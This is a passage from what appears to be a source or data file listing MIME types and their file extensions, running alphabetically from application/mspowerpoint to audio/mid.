['application/mspowerpoint', ['ppt', 'pot', 'pps', 'ppz']],\n ['application/msword', ['doc', 'dot', 'w6w', 'wiz', 'word']],\n ['application/mswrite', 'wri'],\n ['application/mxf', 'mxf'],\n ['application/netmc', 'mcp'],\n ['application/octet-stream', ['*']],\n ['application/oda', 'oda'],\n ['application/oebps-package+xml', 'opf'],\n ['application/ogg', 'ogx'],\n ['application/olescript', 'axs'],\n ['application/onenote', 'onetoc'],\n ['application/patch-ops-error+xml', 'xer'],\n ['application/pdf', 'pdf'],\n ['application/pgp-encrypted', 'asc'],\n ['application/pgp-signature', 'pgp'],\n ['application/pics-rules', 'prf'],\n ['application/pkcs-12', 'p12'],\n ['application/pkcs-crl', 'crl'],\n ['application/pkcs10', 'p10'],\n ['application/pkcs7-mime', ['p7c', 'p7m']],\n ['application/pkcs7-signature', 'p7s'],\n ['application/pkcs8', 'p8'],\n ['application/pkix-attr-cert', 'ac'],\n ['application/pkix-cert', ['cer', 'crt']],\n ['application/pkix-crl', 'crl'],\n ['application/pkix-pkipath', 'pkipath'],\n ['application/pkixcmp', 'pki'],\n ['application/plain', 'text'],\n ['application/pls+xml', 'pls'],\n ['application/postscript', ['ps', 'ai', 'eps']],\n ['application/powerpoint', 'ppt'],\n ['application/pro_eng', ['part', 'prt']],\n ['application/prs.cww', 'cww'],\n ['application/pskc+xml', 'pskcxml'],\n ['application/rdf+xml', 'rdf'],\n ['application/reginfo+xml', 'rif'],\n ['application/relax-ng-compact-syntax', 'rnc'],\n ['application/resource-lists+xml', 'rl'],\n ['application/resource-lists-diff+xml', 'rld'],\n ['application/ringing-tones', 'rng'],\n ['application/rls-services+xml', 'rs'],\n ['application/rsd+xml', 'rsd'],\n ['application/rss+xml', 'xml'],\n ['application/rtf', ['rtf', 'rtx']],\n ['application/sbml+xml', 'sbml'],\n ['application/scvp-cv-request', 'scq'],\n ['application/scvp-cv-response', 'scs'],\n ['application/scvp-vp-request', 'spq'],\n ['application/scvp-vp-response', 'spp'],\n ['application/sdp', 'sdp'],\n ['application/sea', 'sea'],\n ['application/set', 'set'],\n ['application/set-payment-initiation', 'setpay'],\n ['application/set-registration-initiation', 'setreg'],\n ['application/shf+xml', 'shf'],\n ['application/sla', 'stl'],\n ['application/smil', ['smi', 'smil']],\n ['application/smil+xml', 'smi'],\n ['application/solids', 'sol'],\n ['application/sounder', 'sdr'],\n ['application/sparql-query', 'rq'],\n ['application/sparql-results+xml', 'srx'],\n ['application/srgs', 'gram'],\n ['application/srgs+xml', 'grxml'],\n ['application/sru+xml', 'sru'],\n ['application/ssml+xml', 'ssml'],\n ['application/step', ['step', 'stp']],\n ['application/streamingmedia', 'ssm'],\n ['application/tei+xml', 'tei'],\n ['application/thraud+xml', 'tfi'],\n ['application/timestamped-data', 'tsd'],\n ['application/toolbook', 'tbk'],\n ['application/vda', 'vda'],\n ['application/vnd.3gpp.pic-bw-large', 'plb'],\n ['application/vnd.3gpp.pic-bw-small', 'psb'],\n ['application/vnd.3gpp.pic-bw-var', 'pvb'],\n ['application/vnd.3gpp2.tcap', 'tcap'],\n ['application/vnd.3m.post-it-notes', 'pwn'],\n ['application/vnd.accpac.simply.aso', 'aso'],\n ['application/vnd.accpac.simply.imp', 'imp'],\n ['application/vnd.acucobol', 'acu'],\n ['application/vnd.acucorp', 'atc'],\n ['application/vnd.adobe.air-application-installer-package+zip', 'air'],\n ['application/vnd.adobe.fxp', 'fxp'],\n ['application/vnd.adobe.xdp+xml', 'xdp'],\n ['application/vnd.adobe.xfdf', 'xfdf'],\n ['application/vnd.ahead.space', 'ahead'],\n ['application/vnd.airzip.filesecure.azf', 'azf'],\n ['application/vnd.airzip.filesecure.azs', 'azs'],\n ['application/vnd.amazon.ebook', 'azw'],\n ['application/vnd.americandynamics.acc', 'acc'],\n ['application/vnd.amiga.ami', 'ami'],\n ['application/vnd.android.package-archive', 'apk'],\n ['application/vnd.anser-web-certificate-issue-initiation', 'cii'],\n ['application/vnd.anser-web-funds-transfer-initiation', 'fti'],\n ['application/vnd.antix.game-component', 'atx'],\n ['application/vnd.apple.installer+xml', 'mpkg'],\n ['application/vnd.apple.mpegurl', 'm3u8'],\n ['application/vnd.aristanetworks.swi', 'swi'],\n ['application/vnd.audiograph', 'aep'],\n ['application/vnd.blueice.multipass', 'mpm'],\n ['application/vnd.bmi', 'bmi'],\n ['application/vnd.businessobjects', 'rep'],\n ['application/vnd.chemdraw+xml', 'cdxml'],\n ['application/vnd.chipnuts.karaoke-mmd', 'mmd'],\n ['application/vnd.cinderella', 'cdy'],\n ['application/vnd.claymore', 'cla'],\n ['application/vnd.cloanto.rp9', 'rp9'],\n ['application/vnd.clonk.c4group', 'c4g'],\n ['application/vnd.cluetrust.cartomobile-config', 'c11amc'],\n ['application/vnd.cluetrust.cartomobile-config-pkg', 'c11amz'],\n ['application/vnd.commonspace', 'csp'],\n ['application/vnd.contact.cmsg', 'cdbcmsg'],\n ['application/vnd.cosmocaller', 'cmc'],\n ['application/vnd.crick.clicker', 'clkx'],\n ['application/vnd.crick.clicker.keyboard', 'clkk'],\n ['application/vnd.crick.clicker.palette', 'clkp'],\n ['application/vnd.crick.clicker.template', 'clkt'],\n ['application/vnd.crick.clicker.wordbank', 'clkw'],\n ['application/vnd.criticaltools.wbs+xml', 'wbs'],\n ['application/vnd.ctc-posml', 'pml'],\n ['application/vnd.cups-ppd', 'ppd'],\n ['application/vnd.curl.car', 'car'],\n ['application/vnd.curl.pcurl', 'pcurl'],\n ['application/vnd.data-vision.rdz', 'rdz'],\n ['application/vnd.denovo.fcselayout-link', 'fe_launch'],\n ['application/vnd.dna', 'dna'],\n ['application/vnd.dolby.mlp', 'mlp'],\n ['application/vnd.dpgraph', 'dpg'],\n ['application/vnd.dreamfactory', 'dfac'],\n ['application/vnd.dvb.ait', 'ait'],\n ['application/vnd.dvb.service', 'svc'],\n ['application/vnd.dynageo', 'geo'],\n ['application/vnd.ecowin.chart', 'mag'],\n ['application/vnd.enliven', 'nml'],\n ['application/vnd.epson.esf', 'esf'],\n ['application/vnd.epson.msf', 'msf'],\n ['application/vnd.epson.quickanime', 'qam'],\n ['application/vnd.epson.salt', 'slt'],\n ['application/vnd.epson.ssf', 'ssf'],\n ['application/vnd.eszigno3+xml', 'es3'],\n ['application/vnd.ezpix-album', 'ez2'],\n ['application/vnd.ezpix-package', 'ez3'],\n ['application/vnd.fdf', 'fdf'],\n ['application/vnd.fdsn.seed', 'seed'],\n ['application/vnd.flographit', 'gph'],\n ['application/vnd.fluxtime.clip', 'ftc'],\n ['application/vnd.framemaker', 'fm'],\n ['application/vnd.frogans.fnc', 'fnc'],\n ['application/vnd.frogans.ltf', 'ltf'],\n ['application/vnd.fsc.weblaunch', 'fsc'],\n ['application/vnd.fujitsu.oasys', 'oas'],\n ['application/vnd.fujitsu.oasys2', 'oa2'],\n ['application/vnd.fujitsu.oasys3', 'oa3'],\n ['application/vnd.fujitsu.oasysgp', 'fg5'],\n ['application/vnd.fujitsu.oasysprs', 'bh2'],\n ['application/vnd.fujixerox.ddd', 'ddd'],\n ['application/vnd.fujixerox.docuworks', 'xdw'],\n ['application/vnd.fujixerox.docuworks.binder', 'xbd'],\n ['application/vnd.fuzzysheet', 'fzs'],\n ['application/vnd.genomatix.tuxedo', 'txd'],\n ['application/vnd.geogebra.file', 'ggb'],\n ['application/vnd.geogebra.tool', 'ggt'],\n ['application/vnd.geometry-explorer', 'gex'],\n ['application/vnd.geonext', 'gxt'],\n ['application/vnd.geoplan', 'g2w'],\n ['application/vnd.geospace', 'g3w'],\n ['application/vnd.gmx', 'gmx'],\n ['application/vnd.google-earth.kml+xml', 'kml'],\n ['application/vnd.google-earth.kmz', 'kmz'],\n ['application/vnd.grafeq', 'gqf'],\n ['application/vnd.groove-account', 'gac'],\n ['application/vnd.groove-help', 'ghf'],\n ['application/vnd.groove-identity-message', 'gim'],\n ['application/vnd.groove-injector', 'grv'],\n ['application/vnd.groove-tool-message', 'gtm'],\n ['application/vnd.groove-tool-template', 'tpl'],\n ['application/vnd.groove-vcard', 'vcg'],\n ['application/vnd.hal+xml', 'hal'],\n ['application/vnd.handheld-entertainment+xml', 'zmm'],\n ['application/vnd.hbci', 'hbci'],\n ['application/vnd.hhe.lesson-player', 'les'],\n ['application/vnd.hp-hpgl', ['hgl', 'hpg', 'hpgl']],\n ['application/vnd.hp-hpid', 'hpid'],\n ['application/vnd.hp-hps', 'hps'],\n ['application/vnd.hp-jlyt', 'jlt'],\n ['application/vnd.hp-pcl', 'pcl'],\n ['application/vnd.hp-pclxl', 'pclxl'],\n ['application/vnd.hydrostatix.sof-data', 'sfd-hdstx'],\n ['application/vnd.hzn-3d-crossword', 'x3d'],\n ['application/vnd.ibm.minipay', 'mpy'],\n ['application/vnd.ibm.modcap', 'afp'],\n ['application/vnd.ibm.rights-management', 'irm'],\n ['application/vnd.ibm.secure-container', 'sc'],\n ['application/vnd.iccprofile', 'icc'],\n ['application/vnd.igloader', 'igl'],\n ['application/vnd.immervision-ivp', 'ivp'],\n ['application/vnd.immervision-ivu', 'ivu'],\n ['application/vnd.insors.igm', 'igm'],\n ['application/vnd.intercon.formnet', 'xpw'],\n ['application/vnd.intergeo', 'i2g'],\n ['application/vnd.intu.qbo', 'qbo'],\n ['application/vnd.intu.qfx', 'qfx'],\n ['application/vnd.ipunplugged.rcprofile', 'rcprofile'],\n ['application/vnd.irepository.package+xml', 'irp'],\n ['application/vnd.is-xpr', 'xpr'],\n ['application/vnd.isac.fcs', 'fcs'],\n ['application/vnd.jam', 'jam'],\n ['application/vnd.jcp.javame.midlet-rms', 'rms'],\n ['application/vnd.jisp', 'jisp'],\n ['application/vnd.joost.joda-archive', 'joda'],\n ['application/vnd.kahootz', 'ktz'],\n ['application/vnd.kde.karbon', 'karbon'],\n ['application/vnd.kde.kchart', 'chrt'],\n ['application/vnd.kde.kformula', 'kfo'],\n ['application/vnd.kde.kivio', 'flw'],\n ['application/vnd.kde.kontour', 'kon'],\n ['application/vnd.kde.kpresenter', 'kpr'],\n ['application/vnd.kde.kspread', 'ksp'],\n ['application/vnd.kde.kword', 'kwd'],\n ['application/vnd.kenameaapp', 'htke'],\n ['application/vnd.kidspiration', 'kia'],\n ['application/vnd.kinar', 'kne'],\n ['application/vnd.koan', 'skp'],\n ['application/vnd.kodak-descriptor', 'sse'],\n ['application/vnd.las.las+xml', 'lasxml'],\n ['application/vnd.llamagraphics.life-balance.desktop', 'lbd'],\n ['application/vnd.llamagraphics.life-balance.exchange+xml', 'lbe'],\n ['application/vnd.lotus-1-2-3', '123'],\n ['application/vnd.lotus-approach', 'apr'],\n ['application/vnd.lotus-freelance', 'pre'],\n ['application/vnd.lotus-notes', 'nsf'],\n ['application/vnd.lotus-organizer', 'org'],\n ['application/vnd.lotus-screencam', 'scm'],\n ['application/vnd.lotus-wordpro', 'lwp'],\n ['application/vnd.macports.portpkg', 'portpkg'],\n ['application/vnd.mcd', 'mcd'],\n ['application/vnd.medcalcdata', 'mc1'],\n ['application/vnd.mediastation.cdkey', 'cdkey'],\n ['application/vnd.mfer', 'mwf'],\n ['application/vnd.mfmp', 'mfm'],\n ['application/vnd.micrografx.flo', 'flo'],\n ['application/vnd.micrografx.igx', 'igx'],\n ['application/vnd.mif', 'mif'],\n ['application/vnd.mobius.daf', 'daf'],\n ['application/vnd.mobius.dis', 'dis'],\n ['application/vnd.mobius.mbk', 'mbk'],\n ['application/vnd.mobius.mqy', 'mqy'],\n ['application/vnd.mobius.msl', 'msl'],\n ['application/vnd.mobius.plc', 'plc'],\n ['application/vnd.mobius.txf', 'txf'],\n ['application/vnd.mophun.application', 'mpn'],\n ['application/vnd.mophun.certificate', 'mpc'],\n ['application/vnd.mozilla.xul+xml', 'xul'],\n ['application/vnd.ms-artgalry', 'cil'],\n ['application/vnd.ms-cab-compressed', 'cab'],\n ['application/vnd.ms-excel', ['xls', 'xla', 'xlc', 'xlm', 'xlt', 'xlw', 'xlb', 'xll']],\n ['application/vnd.ms-excel.addin.macroenabled.12', 'xlam'],\n ['application/vnd.ms-excel.sheet.binary.macroenabled.12', 'xlsb'],\n ['application/vnd.ms-excel.sheet.macroenabled.12', 'xlsm'],\n ['application/vnd.ms-excel.template.macroenabled.12', 'xltm'],\n ['application/vnd.ms-fontobject', 'eot'],\n ['application/vnd.ms-htmlhelp', 'chm'],\n ['application/vnd.ms-ims', 'ims'],\n ['application/vnd.ms-lrm', 'lrm'],\n ['application/vnd.ms-officetheme', 'thmx'],\n ['application/vnd.ms-outlook', 'msg'],\n ['application/vnd.ms-pki.certstore', 'sst'],\n ['application/vnd.ms-pki.pko', 'pko'],\n ['application/vnd.ms-pki.seccat', 'cat'],\n ['application/vnd.ms-pki.stl', 'stl'],\n ['application/vnd.ms-pkicertstore', 'sst'],\n ['application/vnd.ms-pkiseccat', 'cat'],\n ['application/vnd.ms-pkistl', 'stl'],\n ['application/vnd.ms-powerpoint', ['ppt', 'pot', 'pps', 'ppa', 'pwz']],\n ['application/vnd.ms-powerpoint.addin.macroenabled.12', 'ppam'],\n ['application/vnd.ms-powerpoint.presentation.macroenabled.12', 'pptm'],\n ['application/vnd.ms-powerpoint.slide.macroenabled.12', 'sldm'],\n ['application/vnd.ms-powerpoint.slideshow.macroenabled.12', 'ppsm'],\n ['application/vnd.ms-powerpoint.template.macroenabled.12', 'potm'],\n ['application/vnd.ms-project', 'mpp'],\n ['application/vnd.ms-word.document.macroenabled.12', 'docm'],\n ['application/vnd.ms-word.template.macroenabled.12', 'dotm'],\n ['application/vnd.ms-works', ['wks', 'wcm', 'wdb', 'wps']],\n ['application/vnd.ms-wpl', 'wpl'],\n ['application/vnd.ms-xpsdocument', 'xps'],\n ['application/vnd.mseq', 'mseq'],\n ['application/vnd.musician', 'mus'],\n ['application/vnd.muvee.style', 'msty'],\n ['application/vnd.neurolanguage.nlu', 'nlu'],\n ['application/vnd.noblenet-directory', 'nnd'],\n ['application/vnd.noblenet-sealer', 'nns'],\n ['application/vnd.noblenet-web', 'nnw'],\n ['application/vnd.nokia.configuration-message', 'ncm'],\n ['application/vnd.nokia.n-gage.data', 'ngdat'],\n ['application/vnd.nokia.n-gage.symbian.install', 'n-gage'],\n ['application/vnd.nokia.radio-preset', 'rpst'],\n ['application/vnd.nokia.radio-presets', 'rpss'],\n ['application/vnd.nokia.ringing-tone', 'rng'],\n ['application/vnd.novadigm.edm', 'edm'],\n ['application/vnd.novadigm.edx', 'edx'],\n ['application/vnd.novadigm.ext', 'ext'],\n ['application/vnd.oasis.opendocument.chart', 'odc'],\n ['application/vnd.oasis.opendocument.chart-template', 'otc'],\n ['application/vnd.oasis.opendocument.database', 'odb'],\n ['application/vnd.oasis.opendocument.formula', 'odf'],\n ['application/vnd.oasis.opendocument.formula-template', 'odft'],\n ['application/vnd.oasis.opendocument.graphics', 'odg'],\n ['application/vnd.oasis.opendocument.graphics-template', 'otg'],\n ['application/vnd.oasis.opendocument.image', 'odi'],\n ['application/vnd.oasis.opendocument.image-template', 'oti'],\n ['application/vnd.oasis.opendocument.presentation', 'odp'],\n ['application/vnd.oasis.opendocument.presentation-template', 'otp'],\n ['application/vnd.oasis.opendocument.spreadsheet', 'ods'],\n ['application/vnd.oasis.opendocument.spreadsheet-template', 'ots'],\n ['application/vnd.oasis.opendocument.text', 'odt'],\n ['application/vnd.oasis.opendocument.text-master', 'odm'],\n ['application/vnd.oasis.opendocument.text-template', 'ott'],\n ['application/vnd.oasis.opendocument.text-web', 'oth'],\n ['application/vnd.olpc-sugar', 'xo'],\n ['application/vnd.oma.dd2+xml', 'dd2'],\n ['application/vnd.openofficeorg.extension', 'oxt'],\n ['application/vnd.openxmlformats-officedocument.presentationml.presentation', 'pptx'],\n ['application/vnd.openxmlformats-officedocument.presentationml.slide', 'sldx'],\n ['application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'ppsx'],\n ['application/vnd.openxmlformats-officedocument.presentationml.template', 'potx'],\n ['application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xlsx'],\n ['application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'xltx'],\n ['application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'docx'],\n ['application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'dotx'],\n ['application/vnd.osgeo.mapguide.package', 'mgp'],\n ['application/vnd.osgi.dp', 'dp'],\n ['application/vnd.palm', 'pdb'],\n ['application/vnd.pawaafile', 'paw'],\n ['application/vnd.pg.format', 'str'],\n ['application/vnd.pg.osasli', 'ei6'],\n ['application/vnd.picsel', 'efif'],\n ['application/vnd.pmi.widget', 'wg'],\n ['application/vnd.pocketlearn', 'plf'],\n ['application/vnd.powerbuilder6', 'pbd'],\n ['application/vnd.previewsystems.box', 'box'],\n ['application/vnd.proteus.magazine', 'mgz'],\n ['application/vnd.publishare-delta-tree', 'qps'],\n ['application/vnd.pvi.ptid1', 'ptid'],\n ['application/vnd.quark.quarkxpress', 'qxd'],\n ['application/vnd.realvnc.bed', 'bed'],\n ['application/vnd.recordare.musicxml', 'mxl'],\n ['application/vnd.recordare.musicxml+xml', 'musicxml'],\n ['application/vnd.rig.cryptonote', 'cryptonote'],\n ['application/vnd.rim.cod', 'cod'],\n ['application/vnd.rn-realmedia', 'rm'],\n ['application/vnd.rn-realplayer', 'rnx'],\n ['application/vnd.route66.link66+xml', 'link66'],\n ['application/vnd.sailingtracker.track', 'st'],\n ['application/vnd.seemail', 'see'],\n ['application/vnd.sema', 'sema'],\n ['application/vnd.semd', 'semd'],\n ['application/vnd.semf', 'semf'],\n ['application/vnd.shana.informed.formdata', 'ifm'],\n ['application/vnd.shana.informed.formtemplate', 'itp'],\n ['application/vnd.shana.informed.interchange', 'iif'],\n ['application/vnd.shana.informed.package', 'ipk'],\n ['application/vnd.simtech-mindmapper', 'twd'],\n ['application/vnd.smaf', 'mmf'],\n ['application/vnd.smart.teacher', 'teacher'],\n ['application/vnd.solent.sdkm+xml', 'sdkm'],\n ['application/vnd.spotfire.dxp', 'dxp'],\n ['application/vnd.spotfire.sfs', 'sfs'],\n ['application/vnd.stardivision.calc', 'sdc'],\n ['application/vnd.stardivision.draw', 'sda'],\n ['application/vnd.stardivision.impress', 'sdd'],\n ['application/vnd.stardivision.math', 'smf'],\n ['application/vnd.stardivision.writer', 'sdw'],\n ['application/vnd.stardivision.writer-global', 'sgl'],\n ['application/vnd.stepmania.stepchart', 'sm'],\n ['application/vnd.sun.xml.calc', 'sxc'],\n ['application/vnd.sun.xml.calc.template', 'stc'],\n ['application/vnd.sun.xml.draw', 'sxd'],\n ['application/vnd.sun.xml.draw.template', 'std'],\n ['application/vnd.sun.xml.impress', 'sxi'],\n ['application/vnd.sun.xml.impress.template', 'sti'],\n ['application/vnd.sun.xml.math', 'sxm'],\n ['application/vnd.sun.xml.writer', 'sxw'],\n ['application/vnd.sun.xml.writer.global', 'sxg'],\n ['application/vnd.sun.xml.writer.template', 'stw'],\n ['application/vnd.sus-calendar', 'sus'],\n ['application/vnd.svd', 'svd'],\n ['application/vnd.symbian.install', 'sis'],\n ['application/vnd.syncml+xml', 'xsm'],\n ['application/vnd.syncml.dm+wbxml', 'bdm'],\n ['application/vnd.syncml.dm+xml', 'xdm'],\n ['application/vnd.tao.intent-module-archive', 'tao'],\n ['application/vnd.tmobile-livetv', 'tmo'],\n ['application/vnd.trid.tpt', 'tpt'],\n ['application/vnd.triscape.mxs', 'mxs'],\n ['application/vnd.trueapp', 'tra'],\n ['application/vnd.ufdl', 'ufd'],\n ['application/vnd.uiq.theme', 'utz'],\n ['application/vnd.umajin', 'umj'],\n ['application/vnd.unity', 'unityweb'],\n ['application/vnd.uoml+xml', 'uoml'],\n ['application/vnd.vcx', 'vcx'],\n ['application/vnd.visio', 'vsd'],\n ['application/vnd.visionary', 'vis'],\n ['application/vnd.vsf', 'vsf'],\n ['application/vnd.wap.wbxml', 'wbxml'],\n ['application/vnd.wap.wmlc', 'wmlc'],\n ['application/vnd.wap.wmlscriptc', 'wmlsc'],\n ['application/vnd.webturbo', 'wtb'],\n ['application/vnd.wolfram.player', 'nbp'],\n ['application/vnd.wordperfect', 'wpd'],\n ['application/vnd.wqd', 'wqd'],\n ['application/vnd.wt.stf', 'stf'],\n ['application/vnd.xara', ['web', 'xar']],\n ['application/vnd.xfdl', 'xfdl'],\n ['application/vnd.yamaha.hv-dic', 'hvd'],\n ['application/vnd.yamaha.hv-script', 'hvs'],\n ['application/vnd.yamaha.hv-voice', 'hvp'],\n ['application/vnd.yamaha.openscoreformat', 'osf'],\n ['application/vnd.yamaha.openscoreformat.osfpvg+xml', 'osfpvg'],\n ['application/vnd.yamaha.smaf-audio', 'saf'],\n ['application/vnd.yamaha.smaf-phrase', 'spf'],\n ['application/vnd.yellowriver-custom-menu', 'cmp'],\n ['application/vnd.zul', 'zir'],\n ['application/vnd.zzazz.deck+xml', 'zaz'],\n ['application/vocaltec-media-desc', 'vmd'],\n ['application/vocaltec-media-file', 'vmf'],\n ['application/voicexml+xml', 'vxml'],\n ['application/widget', 'wgt'],\n ['application/winhlp', 'hlp'],\n ['application/wordperfect', ['wp', 'wp5', 'wp6', 'wpd']],\n ['application/wordperfect6.0', ['w60', 'wp5']],\n ['application/wordperfect6.1', 'w61'],\n ['application/wsdl+xml', 'wsdl'],\n ['application/wspolicy+xml', 'wspolicy'],\n ['application/x-123', 'wk1'],\n ['application/x-7z-compressed', '7z'],\n ['application/x-abiword', 'abw'],\n ['application/x-ace-compressed', 'ace'],\n ['application/x-aim', 'aim'],\n ['application/x-authorware-bin', 'aab'],\n ['application/x-authorware-map', 'aam'],\n ['application/x-authorware-seg', 'aas'],\n ['application/x-bcpio', 'bcpio'],\n ['application/x-binary', 'bin'],\n ['application/x-binhex40', 'hqx'],\n ['application/x-bittorrent', 'torrent'],\n ['application/x-bsh', ['bsh', 'sh', 'shar']],\n ['application/x-bytecode.elisp', 'elc'],\n ['application/x-bytecode.python', 'pyc'],\n ['application/x-bzip', 'bz'],\n ['application/x-bzip2', ['boz', 'bz2']],\n ['application/x-cdf', 'cdf'],\n ['application/x-cdlink', 'vcd'],\n ['application/x-chat', ['cha', 'chat']],\n ['application/x-chess-pgn', 'pgn'],\n ['application/x-cmu-raster', 'ras'],\n ['application/x-cocoa', 'cco'],\n ['application/x-compactpro', 'cpt'],\n ['application/x-compress', 'z'],\n ['application/x-compressed', ['tgz', 'gz', 'z', 'zip']],\n ['application/x-conference', 'nsc'],\n ['application/x-cpio', 'cpio'],\n ['application/x-cpt', 'cpt'],\n ['application/x-csh', 'csh'],\n ['application/x-debian-package', 'deb'],\n ['application/x-deepv', 'deepv'],\n ['application/x-director', ['dir', 'dcr', 'dxr']],\n ['application/x-doom', 'wad'],\n ['application/x-dtbncx+xml', 'ncx'],\n ['application/x-dtbook+xml', 'dtb'],\n ['application/x-dtbresource+xml', 'res'],\n ['application/x-dvi', 'dvi'],\n ['application/x-elc', 'elc'],\n ['application/x-envoy', ['env', 'evy']],\n ['application/x-esrehber', 'es'],\n ['application/x-excel', ['xls', 'xla', 'xlb', 'xlc', 'xld', 'xlk', 'xll', 'xlm', 'xlt', 'xlv', 'xlw']],\n ['application/x-font-bdf', 'bdf'],\n ['application/x-font-ghostscript', 'gsf'],\n ['application/x-font-linux-psf', 'psf'],\n ['application/x-font-otf', 'otf'],\n ['application/x-font-pcf', 'pcf'],\n ['application/x-font-snf', 'snf'],\n ['application/x-font-ttf', 'ttf'],\n ['application/x-font-type1', 'pfa'],\n ['application/x-font-woff', 'woff'],\n ['application/x-frame', 'mif'],\n ['application/x-freelance', 'pre'],\n ['application/x-futuresplash', 'spl'],\n ['application/x-gnumeric', 'gnumeric'],\n ['application/x-gsp', 'gsp'],\n ['application/x-gss', 'gss'],\n ['application/x-gtar', 'gtar'],\n ['application/x-gzip', ['gz', 'gzip']],\n ['application/x-hdf', 'hdf'],\n ['application/x-helpfile', ['help', 'hlp']],\n ['application/x-httpd-imap', 'imap'],\n ['application/x-ima', 'ima'],\n ['application/x-internet-signup', ['ins', 'isp']],\n ['application/x-internett-signup', 'ins'],\n ['application/x-inventor', 'iv'],\n ['application/x-ip2', 'ip'],\n ['application/x-iphone', 'iii'],\n ['application/x-java-class', 'class'],\n ['application/x-java-commerce', 'jcm'],\n ['application/x-java-jnlp-file', 'jnlp'],\n ['application/x-javascript', 'js'],\n ['application/x-koan', ['skd', 'skm', 'skp', 'skt']],\n ['application/x-ksh', 'ksh'],\n ['application/x-latex', ['latex', 'ltx']],\n ['application/x-lha', 'lha'],\n ['application/x-lisp', 'lsp'],\n ['application/x-livescreen', 'ivy'],\n ['application/x-lotus', 'wq1'],\n ['application/x-lotusscreencam', 'scm'],\n ['application/x-lzh', 'lzh'],\n ['application/x-lzx', 'lzx'],\n ['application/x-mac-binhex40', 'hqx'],\n ['application/x-macbinary', 'bin'],\n ['application/x-magic-cap-package-1.0', 'mc$'],\n ['application/x-mathcad', 'mcd'],\n ['application/x-meme', 'mm'],\n ['application/x-midi', ['mid', 'midi']],\n ['application/x-mif', 'mif'],\n ['application/x-mix-transfer', 'nix'],\n ['application/x-mobipocket-ebook', 'prc'],\n ['application/x-mplayer2', 'asx'],\n ['application/x-ms-application', 'application'],\n ['application/x-ms-wmd', 'wmd'],\n ['application/x-ms-wmz', 'wmz'],\n ['application/x-ms-xbap', 'xbap'],\n ['application/x-msaccess', 'mdb'],\n ['application/x-msbinder', 'obd'],\n ['application/x-mscardfile', 'crd'],\n ['application/x-msclip', 'clp'],\n ['application/x-msdownload', ['exe', 'dll']],\n ['application/x-msexcel', ['xls', 'xla', 'xlw']],\n ['application/x-msmediaview', ['mvb', 'm13', 'm14']],\n ['application/x-msmetafile', 'wmf'],\n ['application/x-msmoney', 'mny'],\n ['application/x-mspowerpoint', 'ppt'],\n ['application/x-mspublisher', 'pub'],\n ['application/x-msschedule', 'scd'],\n ['application/x-msterminal', 'trm'],\n ['application/x-mswrite', 'wri'],\n ['application/x-navi-animation', 'ani'],\n ['application/x-navidoc', 'nvd'],\n ['application/x-navimap', 'map'],\n ['application/x-navistyle', 'stl'],\n ['application/x-netcdf', ['cdf', 'nc']],\n ['application/x-newton-compatible-pkg', 'pkg'],\n ['application/x-nokia-9000-communicator-add-on-software', 'aos'],\n ['application/x-omc', 'omc'],\n ['application/x-omcdatamaker', 'omcd'],\n ['application/x-omcregerator', 'omcr'],\n ['application/x-pagemaker', ['pm4', 'pm5']],\n ['application/x-pcl', 'pcl'],\n ['application/x-perfmon', ['pma', 'pmc', 'pml', 'pmr', 'pmw']],\n ['application/x-pixclscript', 'plx'],\n ['application/x-pkcs10', 'p10'],\n ['application/x-pkcs12', ['p12', 'pfx']],\n ['application/x-pkcs7-certificates', ['p7b', 'spc']],\n ['application/x-pkcs7-certreqresp', 'p7r'],\n ['application/x-pkcs7-mime', ['p7m', 'p7c']],\n ['application/x-pkcs7-signature', ['p7s', 'p7a']],\n ['application/x-pointplus', 'css'],\n ['application/x-portable-anymap', 'pnm'],\n ['application/x-project', ['mpc', 'mpt', 'mpv', 'mpx']],\n ['application/x-qpro', 'wb1'],\n ['application/x-rar-compressed', 'rar'],\n ['application/x-rtf', 'rtf'],\n ['application/x-sdp', 'sdp'],\n ['application/x-sea', 'sea'],\n ['application/x-seelogo', 'sl'],\n ['application/x-sh', 'sh'],\n ['application/x-shar', ['shar', 'sh']],\n ['application/x-shockwave-flash', 'swf'],\n ['application/x-silverlight-app', 'xap'],\n ['application/x-sit', 'sit'],\n ['application/x-sprite', ['spr', 'sprite']],\n ['application/x-stuffit', 'sit'],\n ['application/x-stuffitx', 'sitx'],\n ['application/x-sv4cpio', 'sv4cpio'],\n ['application/x-sv4crc', 'sv4crc'],\n ['application/x-tar', 'tar'],\n ['application/x-tbook', ['sbk', 'tbk']],\n ['application/x-tcl', 'tcl'],\n ['application/x-tex', 'tex'],\n ['application/x-tex-tfm', 'tfm'],\n ['application/x-texinfo', ['texi', 'texinfo']],\n ['application/x-troff', ['roff', 't', 'tr']],\n ['application/x-troff-man', 'man'],\n ['application/x-troff-me', 'me'],\n ['application/x-troff-ms', 'ms'],\n ['application/x-troff-msvideo', 'avi'],\n ['application/x-ustar', 'ustar'],\n ['application/x-visio', ['vsd', 'vst', 'vsw']],\n ['application/x-vnd.audioexplosion.mzz', 'mzz'],\n ['application/x-vnd.ls-xpix', 'xpix'],\n ['application/x-vrml', 'vrml'],\n ['application/x-wais-source', ['src', 'wsrc']],\n ['application/x-winhelp', 'hlp'],\n ['application/x-wintalk', 'wtk'],\n ['application/x-world', ['wrl', 'svr']],\n ['application/x-wpwin', 'wpd'],\n ['application/x-wri', 'wri'],\n ['application/x-x509-ca-cert', ['cer', 'crt', 'der']],\n ['application/x-x509-user-cert', 'crt'],\n ['application/x-xfig', 'fig'],\n ['application/x-xpinstall', 'xpi'],\n ['application/x-zip-compressed', 'zip'],\n ['application/xcap-diff+xml', 'xdf'],\n ['application/xenc+xml', 'xenc'],\n ['application/xhtml+xml', 'xhtml'],\n ['application/xml', 'xml'],\n ['application/xml-dtd', 'dtd'],\n ['application/xop+xml', 'xop'],\n ['application/xslt+xml', 'xslt'],\n ['application/xspf+xml', 'xspf'],\n ['application/xv+xml', 'mxml'],\n ['application/yang', 'yang'],\n ['application/yin+xml', 'yin'],\n ['application/ynd.ms-pkipko', 'pko'],\n ['application/zip', 'zip'],\n ['audio/adpcm', 'adp'],\n ['audio/aiff', ['aiff', 'aif', 'aifc']],\n ['audio/basic', ['snd', 'au']],\n ['audio/it', 'it'],\n ['audio/make', ['funk', 'my', 'pfunk']],\n ['audio/make.my.funk', 'pfunk'],\n ['audio/mid', ['mid', 'rmi']],\n 